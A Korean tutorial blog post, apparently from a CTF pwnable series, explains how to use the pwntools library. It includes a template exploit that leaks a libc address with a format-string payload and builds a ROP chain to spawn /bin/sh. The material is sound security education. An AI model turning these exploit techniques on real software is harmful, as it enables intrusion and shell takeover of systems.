← 목록으로

pwntools 실전 활용법

[Pwn] Pwnable · 작성: 2026-07-19 19:31:03 · 조회 4

pwntools는 Pwnable 익스플로잇을 작성할 때 사실상 표준으로 쓰이는 Python 라이브러리다. 프로세스/소켓 통신, 페이로드 조립, ELF 분석, ROP 체인 생성까지 반복적으로 필요한 작업을 대부분 대신해준다. 이 글은 앞선 글들에서 조각조각 나온 사용법을 실전 워크플로우 기준으로 정리한다.

설치와 기본 골격

pip install pwntools
from pwn import *

context.binary = elf = ELF('./vuln')   # 바이너리 정보 로드 (아키텍처, 보호 기법 등 자동 인식)
context.log_level = 'debug'             # 주고받는 데이터를 전부 로그로 보고 싶을 때

# 로컬 실행 / 원격 접속을 한 줄만 바꿔서 전환
p = process('./vuln')
# p = remote('ctf.example.com', 1337)

로컬-원격 전환을 스크립트 하나로

실전에서는 로컬에서 익스플로잇을 완성한 뒤 원격 서버에 그대로 쏘는 경우가 많다. 인자로 분기하는 패턴을 관습적으로 많이 쓴다.

if args.REMOTE:
    p = remote('ctf.example.com', 1337)
else:
    p = process('./vuln')
python exploit.py REMOTE=1

자주 쓰는 송수신 함수

함수 역할
p.send(data) 데이터 전송 (개행 없음)
p.sendline(data) 데이터 + 개행 전송
p.recv(n) n바이트 수신
p.recvuntil(b'delim') 특정 문자열이 나올 때까지 수신
p.recvline() 한 줄 수신
p.interactive() 셸을 획득한 뒤 사람이 직접 입출력하는 모드로 전환

값 변환 헬퍼

64비트 주소를 리틀 엔디안 바이트로 바꾸는 걸 매번 손으로 하면 실수하기 쉽다.

p64(0x401234)     # 8바이트 리틀 엔디안으로 패킹
u64(data)          # 8바이트를 다시 정수로 언패킹
p32(0x401234)      # 32비트 버전

오프셋/가젯/leak을 한 스크립트로 엮기

from pwn import *

elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')

# 1. leak: printf@got 주소를 흘려보내는 취약점이 있다고 가정
p.sendlineafter(b'> ', b'%7$p')
leaked = int(p.recvline(), 16)
libc.address = leaked - libc.symbols['printf']
log.info(f"libc base: {hex(libc.address)}")

# 2. ROP 체인 조립
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))

# 3. 오버플로우 페이로드 전송
payload = b'A' * offset + rop.chain()
p.sendlineafter(b'> ', payload)

p.interactive()

디버깅과 함께 쓰기

gdb.attach(p)를 넣으면 프로세스를 실행한 채로 gdb를 붙여서 페이로드를 보내기 직전 상태를 실시간으로 볼 수 있다. 익스플로잇이 원하는 대로 안 될 때, "어느 단계에서 어긋났는지"를 확인하는 가장 빠른 방법이다.

p = process('./vuln')
gdb.attach(p, gdbscript='break *0x401234\ncontinue')

pwntools 자체는 도구일 뿐이고, 결국 앞선 글들에서 다룬 오프셋 계산·가젯 조합·leak 전략을 세우는 게 본질이다. 도구는 그 아이디어를 빠르게 코드로 옮기는 역할만 한다.

Pwnable 카테고리의 글 (9/14)

  1. 메모리 구조 기초: 스택, 힙, 레지스터부터 이해하기
  2. 스택 버퍼 오버플로우: 가장 기본적인 메모리 손상 공격
  3. Format String 취약점: printf가 위험해지는 순간
  4. Stack Canary: 원리와 우회 방법
  5. NX/DEP 우회와 Return-to-libc
  6. ASLR과 정보 유출(Leak)
  7. ROP (Return-Oriented Programming) 완전 정복
  8. 힙 익스플로잇 기초: Use-After-Free와 Double Free
  9. pwntools 실전 활용법
  10. UDF(User-Defined Function) 기반 DB 권한 상승: 원리부터 실전까지
  11. Pass-the-Hash / Pass-the-Ticket: 원리와 실전
  12. eBPF 기반 지속성(Persistence) 기법
  13. Full RELRO 환경에서의 GOT Overwrite와 우회
  14. ret2dlresolve: 심볼 정보 없이 임의 함수 호출하기
← 힙 익스플로잇 기초: Use-After-Free와 Double Free UDF(User-Defined Function) 기반 DB 권한 상승: 원리부터 실전까지 →